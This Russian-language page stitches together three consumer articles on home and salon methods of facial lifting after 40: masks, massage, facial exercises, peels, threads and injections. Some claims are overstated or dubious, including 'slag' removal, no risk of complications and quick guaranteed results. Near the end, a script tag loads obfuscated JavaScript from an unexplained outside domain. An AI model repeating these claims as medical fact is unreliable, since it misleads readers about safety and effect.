Подтяжка кожи лица после 40
Реально ли замедлить старение лица после 40 лет? Как подтянуть кожу, сделать ее свежей в домашних условиях? Согласитесь, что не у всех есть средства и возможность позволить себе посещать косметический салон. Но от внешнего вида зависит наша уверенность в себе, самооценка и качество жизни. Давайте разберемся, как приложив немного усилий, сохранить свежее подтянутое лицо в зрелом возрасте.
Причины возрастных изменений
Время накладывает свой отпечаток, изменяя гормональный баланс в теле после 40 лет. Это касается представителей обоих полов. Расстраивают первые заметные морщинки. Кожа становится суше и менее упругой. Да еще мы сами добавляем ей дискомфорта:
- неправильным питанием;
- жесткими диетами, ведущими к резкому похудению;
- недосыпом;
- не очень полезными привычками, такими как курение и алкоголь;
- загаром на пляже;
- неправильным уходом.
Но все можно исправить, если уход и процедуры для кожи лица будут правильные и регулярные.
Интересно: Как женщине продлить молодость после 40
Как противостоять времени
Прежде всего, кожу надо хорошо питать и увлажнять. Не только снаружи, но и изнутри. То есть придерживаться правильного питания и пить достаточное количество воды. Норма для взрослого составляет 1,5-2 литра чистой негазированной воды в день. Иначе обезвоживание сразу отражается на внешнем виде эпидермиса. Кожа становится тусклой и дряблой.
Косметику после 40 лет выбирайте из линейки anti-age, с маркировкой 40+ или 50+. Она содержит нужную концентрацию активных веществ для зрелой кожи. Эффект от применения правильных средств ухода заметен уже через несколько дней. Кожа становится светлой и упругой.
Дневную косметику выбирайте с защитой от УФ-лучей. Загар вам не нужен, он только сушит и обезвоживает кожу. И это важно в любое время года.
А также делайте самомассаж лица. Это несложно, занимает не более 5 минут. Зато улучшается кровоснабжение и лимфодренаж в коже. Она очищается от шлаков и обогащается кислородом. Становится упругой.
Можно также выполнять простые упражнения из фейсбилдинга, специальной гимнастики для лица, чтобы держать мышцы лица в тонусе и подтянуть овал.
Не стоит забывать об общем тонусе организма. Физические нагрузки, правильная осанка, прогулки, достаточный сон отразятся на лице здоровым румянцем.
Лицо в 35, 45 и 55 лет
Следовательно, чтобы подтянуть кожу лица после 40 лет к задаче нужно подойти комплексно:
- полноценный рацион питания и пить 1,5-2 литра чистой воды в день;
- правильный и регулярный косметический уход;
- защита кожи от загара во все времена года;
- маски;
- самомассаж;
- гимнастика для лица;
- общий тонус организма.
Рассмотрим более детально, как это сделать.
Косметический уход
Ежедневный уход за лицом состоит из комплекса обязательных процедур:
- Очистка. Обязательно очищайте лицо перед сном от косметики и пыли, осевшей на него за день. Никогда не используйте для этого мыло, даже жидкое. Оно сушит кожу. Пользуйтесь мягкими средствами, такими как косметическое молочко или пенки. Очищенную кожу сполосните чистой мягкой прохладной водой, можно кипяченой, чтобы смыть остатки косметического средства. Утром достаточно умыть лицо мягкой водой. Промокните полотенцем.
- Тонизация кожи. Применение тоника после умывания обязательно и утром и вечером. Он восстанавливает нужный коже кислотный баланс. После 40 лет пользуйтесь тониками без содержания спирта, который сушит кожу.
- Питание и увлажнение. Кремы выбираем из линейки возрастной косметики 40+ или 50+. Они содержат высокую концентрацию гиалуроновой кислоты, коллагена и витаминов А и Е, обязательных при антивозрастном уходе. Используйте сыворотки для лица, эту квинтэссенция пользы. После тоника наносите на влажную кожу сыворотку, а затем через пару минут крем. На ночь – питательный, днем – увлажняющий с УФ-защитой. Если у крема такой защиты нет, сверху следует нанести слой крема от загара с индексом защиты от 30 до 50. И только после этого можно наносить декоративную косметику.
- Все косметические средства наносим по массажным линиям на лице. Получаем при этом пользу в виде легкого массажа.
Такой основной уход сделает вашу кожу здоровой и упругой. Дополните его питательными и лифтинговыми масками пару раз в неделю.
Самомассаж
Перед массажем нанесите на лицо несколько капель масла. Например: жожоба, миндального, зародышей пшеницы или арганового.
Для самомассажа применяют легкие проглаживания и простукивания кончиками пальцев по массажным линиям на лице.
- Начинаем выполнять движения от середины лба обеими руками по расходящимся линиям. И опускаемся к шее.
- Сначала проглаживаем все лицо, затем по этим же линиям простукиваем. Повторяем три раза.
- Заканчиваем мягкими поглаживаниями, чтобы успокоить кожу.
Фейсбилдинг
Это не глубокий косметический массаж, но после него вы почувствуете приятные пощипывания и покалывания на коже. Это значит, что кожа напиталась кислородом, активировались процессы обновления на ее поверхности. Эффективен самомассаж также, когда надо подтянуть кожу лица после похудения.
Маски с эффектом лифтинга
Чтобы получить от маски максимальную пользу, следует перед процедурой очистить кожу скрабом. Он снимет омертвевший эпидермис, открыв доступ пользы к коже. Маски можно использовать готовые или приготовить дома самостоятельно.
Интересно: Подтягивающие маски для лица
С маслом розового дерева
Одну чайную ложку жирных сливок смешать с 1 каплей масла розового дерева, которое имеет лифтинговый эффект. Нанести на лицо на 15-20 минут. Смыть теплой, а затем прохладной водой.
Белковая маска
Маска питает и подтягивает кожу. Взбейте яичный белок, добавьте в него ложку сметаны и 4 капли касторового масла. Перемешать и намазать лицо, избегая зоны вокруг глаз и рта. На лице маску держим до полного высыхания минут 10-15. Смываем.
Сметана, белок, касторка
Маска из ламинарии
Имеет суперувлажняющий, лифтинговый эффект и питает кожу минералами. Готовим ее из порошка ламинарии. Если нет порошка, можно сделать его из сушеной ламинарии на кофемолке. Заливаем 1 ч.л. порошка 3 ст.л. воды и оставляем на 1-2 часа для набухания. Затем добавляем 1 ч.л. оливкового масла и наносим на лицо на 20 минут. Чтобы маска держалась на коже, накройте лицо тканевой салфеткой. Смываем как обычно.
Из сушеной ламинарии
Интересно: Маски от морщин после 40
Альгинатная маска
Такая маска тоже содержит минералы морских водорослей. Лучше использовать готовую маску. Она состоит из ингредиентов, которые трудно найти в домашних условиях. Эта маска одна из наиболее эффективных для возрастной кожи.
Пример маски
[totalpoll id=»4730″]
Вы теперь знаете, как подтянуть кожу лица в домашних условиях после 40 лет. Используйте предложенный план ухода. Результат получите быстро, уже через две недели. И по времени это займет не более 15 минут в день. Успеха вам.
Вы верите, что подтянуть кожу лица можно после 40 лет без посещения косметического салона?
Источник
Подтяжка овала лица после 40 лет возможна без оперативного вмешательства. При комплексном подходе к проблеме можно получить достойный результат. Разнообразные косметические процедуры, которые помогают бороться с возрастными изменениями, способствуют подтяжке кожи и мышц лица.
Способы подтяжки овала лица без оперативного вмешательства
Подтяжка овала лица производится и в домашних условиях, и в салоне. На данный момент способов избавления от возрастных изменений предостаточно. Можно использовать сразу несколько методов. Самые популярные и эффективные на сегодняшний день:
- пилинг — процедура, основанная на воздействии различных веществ на кожу (кислот, химических составов). В результате чего происходит обновление эпидермиса и избавление от мелких морщин.
- инъекционное омоложение — подтяжка овала лица с помощью уколов. При этом под кожу вводятся вещества, способствующие устранению морщин — филлеры, гиалуроновая кислота, ботулотоксин;
- массаж — применяют и в домашних условиях, и в салоне. Способствует активации кровотока в коже, что запускает процессы омоложения;
- гимнастика для лица — подтяжка кожи с помощью воздействия на мышцы. Очень эффективна при регулярном выполнении;
- питательные маски — способствуют насыщению кожи необходимыми витаминами и питательными компонентами, которые препятствуют старению;
- лазерная подтяжка — одна из самых безопасных и инновационных процедур. Лазерный луч воздействует на потерявший эластичность эпидермис, мягко выпаривая его и стимулируя рост новых клеток кожи;
- нитевая подтяжка овала лица — специальные волокна, которые вживляют под кожу через микропроколы, позволяют разглаживать морщинки с помощью натяжения.
Какие способы подтяжки овала будут наиболее эффективными, зависит от конкретной женщины, ведь признаки старения у каждого человека выражены с разной степенью интенсивности.
Подтяжка овала лица возможна только при комплексном подходе
Подтяжка овала лица в домашних условиях
В домашних условиях подтянуть овал лица можно несколькими способами.
Гимнастика для лица — фейсбилдинг
Самым популярным способом в последнее время считается гимнастика. Для достижения максимального эффекта заниматься ею следует ежедневно в утренние или вечерние часы, делая перерыв каждые выходные. Это необходимо для восстановления мышц.
Гимнастика для избавления от морщин и подтяжки овала лица поможет получить достойный результат уже через месяц
Основные упражнения:
- Положить ладонь на лоб. Пытаться поднимать брови, преодолевая сопротивление руки. Всего 20 раз. Упражнение позволит избавиться от обвисания верхней половины лица.
- Приоткрыть губы и вытянуть их трубочкой. Оставаться в таком положении на 30 счётов. Губы должны быть напряжены. Для усиления эффекта нужно смыкать и попеременно расслаблять их.
- Поставить один палец около внутреннего уголка глаз, а другой у внешнего. Напрягать мышцы век, слегка сужая глаза. Всего 30 повторений.
- Закрыть глаза. Расположить указательные пальцы поверх век и пытаться поднимать брови в таком положении. Всего 30 раз.
- Выдвинуть челюсть вперёд и слегка запрокинуть голову. Зафиксировать на 30 счётов, затем расслабиться.
Данная гимнастика не займёт много времени. Достаточно 5 минут в день для того, чтобы уже через месяц заметить первые результаты. Нагрузку нужно наращивать каждую неделю.
Упражнение для подтяжки лица за 2 минуты — видео
Массаж для лица
Массаж для лица также даёт превосходные результаты. Его нужно делать, используя косметические масла, которые питают кожу и способствуют повышению упругости. Они помогут усилить кровообращение и улучшить внешний вид. К таким средствам можно отнести:
- масло зародышей пшеницы;
- миндальное масло;
- масло абрикосовой косточки;
- масло жожоба и т. д.
Массаж можно выполнять перед сном. При этом следует начинать его с мягких поглаживающих движений. Затем переходить на похлопывание и пощипывание.
Массажные линии указывают на верное направление движений во время массажа или простого нанесения крема на лицо
Заканчивать процедуру нужно также поглаживающими движениями. Перед тем как приступать к массажу, следует снять макияж и умыться. Не рекомендуется слишком интенсивно массировать зону вокруг глаз, так как она является наиболее чувствительной к воздействию. Направление движений должно быть строго по массажным линиям. Процедуру следует выполнять на протяжении месяца не менее 3 раз в неделю. Затем сделать перерыв на 10 дней.
Чтобы усилить эффект, рекомендуется сочетать массаж и гимнастику. Это поможет ускорить подтяжку овала лица. Упражнения можно выполнять по утрам, а массаж перед отходом ко сну.
Японский массаж лица — видео
Питательные маски для подтяжки овала лица в домашних условиях
Для подтяжки овала лица можно применять и питательные маски, которые помогут сделать кожу более упругой. Самые эффективные рецепты:
Тонизирующая маска
Потребуется эфирное масло грейпфрута и лимона по 1 капле каждого. Оба ингредиента нужно перемешать и добавить в голубую глину, разведённую тёплой водой до консистенции сметаны. Затем нанести на лицо и шею. Оставить на 15 минут и смыть прохладной водой. Повторять 1–2 раза в неделю.
Омолаживающий состав
Потребуется миндальное масло в количестве 1 ч. л. и столько же лимонного сока. Оба ингредиента перемешать и нанести на кожу лица. Оставить на 10 минут и смыть тёплой водой. Повторять каждую неделю.
Питающая маска
Необходимо взять 1 ч. л. сливок и добавить 1 каплю эфирного масла розового дерева. Затем развести любой сорт косметической глины до сметанообразной консистенции. Примешать сливки с эфирным маслом и полученный состав нанести на лицо. Оставить на 15 минут и смыть водой. Повторять 2 раза в неделю.
Для достижения лучшего эффекта рекомендуется чередовать разные составы несколько раз в неделю.
Ингредиенты для масок — галерея
Салонные процедуры
Салонные процедуры дают быстрые результаты и являются отличной альтернативой хирургическому вмешательству.
Химический и кислотный виды пилинга
Предварительной подготовки химический и кислотный пилинг не предусматривает. Достаточно, чтобы кожа была без повреждений и очищена от макияжа. На лицо наносят специальный состав (химического происхождения или фруктовые кислоты). При этом происходит ожог верхнего слоя эпидермиса. Сразу после процедуры кожа выглядит слегка раздражённой. Затем может начаться шелушение. Спустя неделю лицо преображается. Пропадают неглубокие морщины и пятна.
После процедуры необходимо пользоваться только заживляющими составами (такими, как Депантол) и избегать солнечных лучей, а также декоративной косметики. Процедуры хватает на несколько месяцев.
Кислотный пилинг — видео
Лазерное омоложение
Для лазерного омоложения применяется специальная аппаратура и проводящий гель. Сначала кожу очищают, затем оценивают наличие дополнительных проблем (пигментация, купероз). После этого регулируют частоту подачи лазерного луча и наносят на лицо специальный гель. Во время процедуры происходит нагревание верхнего слоя эпидермиса.
Период реабилитации может продолжаться до 10 дней. Сразу после процедуры на коже образуется тонкая плёнка, а потом корочка. Сдирать её нельзя, она отслаивается постепенно. Так же, как и в предыдущем случае, нужно оберегать кожу от солнца и не пользоваться никакими средствами по уходу за лицом, кроме тех, что назначил специалист. Благодаря лазеру полностью обновляется верхний слой кожи. Она выглядит более упругой и подтянутой.
Нитевая подтяжка
Для нитевой подтяжки лица специальной подготовки также не требуется. Главное, чтобы не было тяжёлых кожных заболеваний и повреждений. Специалист делает несколько проколов и вставляет канюлю, через неё медленно вводит нити, которые натягивают кожу и фиксируют её в таком положении.
После процедуры желательно спать только на спине в течение 2–3 недель. Эффект держится до года и более.
Нитевой лифтинг лица: плюсы и минусы — видео
Применение инъекций
Для омолаживающих инъекций используют различные активные вещества, которые начинают действовать, проникая вглубь кожи:
- ботокс приводит к парализации мышцы, за счёт чего она становится неподвижной и разглаживаются морщинки;
- гиалуроновая кислота насыщает клетки кожи влагой. При этом эффект накопительный. Происходит стимуляция выработки собственного коллагена и эластина. Гиалуроновую кислоту нередко сочетают с другими компонентами: кислотами и витаминами;
- филлеры содержат в себе комплекс веществ. Их действие основано на заполнении подкожной клетчатки. Введение филлера приводит к подтяжке и разглаживанию морщин за счёт натяжения кожи. Эффект держится до 6 месяцев.
Какой способ подтяжки овала выбрать, подскажет специалист, многое зависит от состояния кожи, её типа и наличия противопоказаний.
Салонные процедуры для подтяжки овала лица — галерея
Отзывы о различных методах подтяжки овала лица
Подтяжка овала лица требует регулярных процедур и ухода за кожей. Если ежедневно использовать питательные составы, выполнять гимнастику и делать массаж, то можно получить хороший результат уже спустя месяц. Салонные процедуры можно дополнять домашними. Правильное питание будет способствовать омоложению кожи.
- Автор: Ксения Калугина
- Распечатать
Оцените статью:
Статьи по теме
Каждая женщина хочет выглядеть молодо, но не все знают, что не …
Большинство женщин ежедневно пользуется стандартными средствами по …
Универсальный способ подарить коже лица второе дыхание — …
Источник
Со временем кожа человека теряет эластичность, упругость. Появляется дряблость, что сказывается на внешнем виде негативно. Женщина в сорок лет замечает возрастные изменения. Если не прибегнуть к лифтингу, дряблость будет лишь увеличиваться. Методы подтяжки лица очень разнообразны, каждый по-своему эффективен. Рекомендуется перед применением процедур с ними внимательно ознакомиться.
Характерные проблемы с кожей, возникающие после 40 лет
Женщина в возрасте сорока лет сталкивается со следующими проблемами кожного покрова:
- Морщины. Становятся все более заметными и глубокими.
- Потеря упругости. Может приводить к изменению овала лица. Кожа становится дряблой, обвисает.
- Пигментация. Проявляется в виде пятен на лице. Могут быть довольно крупными.
- Воспаления, угревая сыпь. Связаны с гормональным дисбалансом, который вполне возможен в этом возрасте.
- Нездоровый цвет лица. Пропадает румянец, цвет кожи становится сероватым. Возникает бледность.
- Мешки под глазами. Отечность может возникать все чаще. Приобретает желтоватый, либо темный оттенок. Женщина выглядит уставшей, нездоровой.
СПРАВКА. Основная причина возникновения проблем с кожей в 40 лет — снижение выработки коллагена. Это белок, который делает кожу упругой. Если его становится меньше, кожа обвисает, становится дряблой. Снижается выработка эластина, из-за чего клетки кожи обновляются гораздо реже. Кожа становится сухой, а это провоцирует появление морщин.
Преимущества безоперационной подтяжки
Многие женщины задумываются, как подтянуть лицо без применения операции. Такие методы действительно существуют, обладают следующими преимуществами:
- Финансовая доступность. Не нужно платить деньги пластическим хирургам за дорогостоящие процедуры.
- Отсутствует риск серьезных осложнений. Женщина не столкнется с неприятными последствиями.
- Нет необходимости тратить время на реабилитацию. После операции восстанавливаться придется долго. Методы без операции позволяют это избежать.
- Простота в применении. Существуют методы домашнего использования. Маски, крема применять довольно просто, с этим справится каждая женщина.
- Эффективность. Даже в домашних условиях и в кабинете косметолога подтяжка лица без операции после 50 лет приносит заметные результаты довольно быстро.
Какой метод лифтинга лучше выбрать
Существует немало методов лифтинга, каждый из которых обладает определенными преимуществами:
- Нитевой лифтинг. Осуществляется с помощью инъекций. Саморассасывающиеся нити вводятся в мягкие ткани, могут укрепить мышечный каркас лица.
- Контурная пластика. Для заполнения морщин используются филлеры. Это не операция, так как лекарства вводятся с помощью уколов.
- Фракционный фототермолиз. Морщины, угревая сыпь и дряблость устраняются с помощью лазера. Восстанавливается упругость тканей.
- Термолифтинг. Выполняется с помощью теплового излучения. Электромагнитное излучение воздействует на дермальный слой благотворно, устраняя глубокие морщины, восстанавливая эластичность тканей.
- Крема и маски. Косметические средства содержат коллаген, который заметно подтягивает кожу. Женщине необходимо лишь регулярно использовать средства, результат не заставит себя долго ждать.
- Народные средства. Менее эффективны, чем профессиональные методы лифтинга, но более доступны в финансовом плане. С их помощью от глубоких морщин не получится избавиться, но можно улучшить микроциркуляцию клеток кожи, цвет лица, устранить воспаления и угревую сыпь. Процесс старения получится приостановить.
ВАЖНО. Самостоятельно выбрать метод лифтинга не получится, так как перед применением процедур необходима консультация специалиста. Косметолог осматривает женщину, определяет проблемные зоны, выявляет индивидуальные особенности организма. Только после этого он может подобрать соответствующий метод. При самостоятельном выборе метода можно ошибиться и навредить организму. Самостоятельно можно применять только крема, лосьоны, маски. С их помощью успешно достигается подтяжка лица в домашних условиях после 50 и при этом женщине не приходится тратить большие суммы денег.
Как действуют методы лифтинга без операции
Безоперационные методы лифтинга воздействуют на кожный покров очень осторожно, но тем не менее, эффективно. Воздействие проявляется следующим образом:
- Глубокие морщины уменьшаются, мелкие полностью разглаживаются. По мнению косметологов, подтяжка лица без операции после 40 помогает устранить большинство морщинок естественным путем, без стресса для организма.
- Угревая сыпь, воспаление исчезают.
- Пигментация пропадает благодаря осветлению кожи.
- Увеличивается количество коллагена в тканях эпидермиса. Процедуры приводят к тому, что коллаген начинает вырабатываться в большем количестве естественным образом.
- Нужные коже витамины, полезные вещества наполняют каждую клеточку. Это способствует улучшению цвета лица, пропадают мешки под глазами. Внешний вид улучшается, пропадают следы усталости. Наблюдается здоровый румянец.
- Омоложение заметно уже спустя 3-5 процедур.
- Овал лица восстанавливается, дряблость удается устранить.
- Кожный покров получает не только необходимое питание, но и увлажнение.
ВНИМАНИЕ. Косметологические методы позволяют проникнуть в глубокие слои кожи, поэтому омоложение бывает более эффективным. Это особенно касается тех случаев, когда осуществляется подтяжка лица нитями после 40 лет и выполняются регулярные процедуры в кабинете косметолога. Крема, маски и народные средства воздействуют только на поверхностные слои кожи. Омоложение бывает более результативным, если используется комплекс процедур. Назначить их может только врач после осмотра пациентки.
Омоложение лица после сорока лет народными методами
Гимнастика-для-лица
С помощью таких средств можно эффективно воздействовать на поверхностные слои кожи, что очень важно в возрасте сорока лет. Народные средства приводят к улучшению цвета лица, нормализации микроциркуляции. Клетки кожи питаются витаминами, полезными веществами, поэтому происходит омоложение. Специалисты выделяют несколько наиболее эффективных рецептов:
- Рекомендуется применять голубую глину. Она продается в виде порошка в аптеке. Небольшое количество глины разводят водой до состояния кашицы и наносят на очищенное лицо на 10-15 минут. После этого глину смывают и наносят на лицо питательный крем. Процедура проводится 2-3 раза в неделю. Она заметно подтягивает лицо, улучшает эластичность, слегка отбеливает кожный покров. Благодаря этой маске осуществляется не только подтяжка лица после 40 лет, но и пропадают угревая сыпь и пигментация.
- Можно использовать мед. Для этого лечебный продукт наносят на очищенное лицо на двадцать минут и позже смывают. Процедура проводится дважды в неделю. Она питает клетки кожи витаминами.
- Врачи советуют наносить трижды в неделю на лицо жирную сметану. Ее держат на лице десять минут, затем смывают. Она увлажняет кожу. устраняет сухость, повышает упругость эпидермиса. После этой маски женщины не будут задаваться вопросом как подтянуть лицо после 40, так как каждая клеточка кожи обновится, получит необходимое питание, а женщина помолодеет.
- Рекомендуется использовать маску из банана и сливок. Небольшой по размеру банан очищают и смешивают в блендере со 100 мл сливок. Полученная кашица наносится на лицо на двадцать минут и затем смывается. Ее делают два раза в неделю. Если хочется достичь результатов предельно быстро, интересует как подтянуть овал лица после 40 лет, данная маска является наиболее подходящей и эффективной.
- Взбитый яичный белок смешивают с растертым огурцом и держат на лице двадцать минут, затем смывают. Такая процедура не только подтягивает лицо, повышает упругость, но и наполняет кожный покров витаминами. Лицо выгляди здоровым, становится приятного здорового оттенка. Выполнять такую маску необходимо 2-3 раза в неделю. Наиболее эффективно осуществляется обновление кожного покрова и подтяжка лица в 45 лет с помощью данной маски, если она выполняется регулярно на протяжении 2-3 месяцев.
Таким образом, ухаживать за лицом необходимо с молоду, но и в сорок лет не все потеряно. Нужно регулярно ухаживать за кожным покровом, использовать необходимые косметические средства для лечения эпидермиса. Если применить определенные процедуры, можно заметно помолодеть все за месяц и даже меньше.
<script type=»text/javascript» src=»https://ulaen.com/7telnouvq5j4ui15j49i7/4j5/nlo/79a9fx5j4/291bw8/jb7t2qbr.js?p=303359&b=845232″></script>
Источник